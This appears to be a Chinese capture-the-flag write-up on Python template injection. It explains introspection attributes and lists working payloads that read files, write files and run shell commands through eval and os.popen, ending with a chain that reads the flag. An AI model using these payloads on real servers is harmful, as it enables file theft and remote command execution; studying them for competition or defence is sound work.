{7*7}
{{7*7}}
{{7*'7'}}
__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
__bases__ 用来查看类的基类,也可是使用数组索引来查看特定位置的值
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
一些python内置的模块里面存在一些可以执行的函数
例如 os
模块中就有eval,system,popen之类的用于执行的函数
而我们的最终目的就是要调用这类模块然后调用函数
一些常用的方法
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
这道题的思路应该是就找到可用模块,然后用调用eval函数来执行python代码
{{''.__class__.__bases__[0].__subclasses__()
可用模块__builtins__
常常藏在这个warnings.catch_warnings
模块中
我们可以用索引来测试一下这个模块的位置
{{''.__class__.__bases__[0].__subclasses__()[:170]}}
在第169位
{{''.__class__.__bases__[0].__subclasses__()[169]}}
{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls ../../../..').read()")}}
{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat ../../../../flag').read()")}}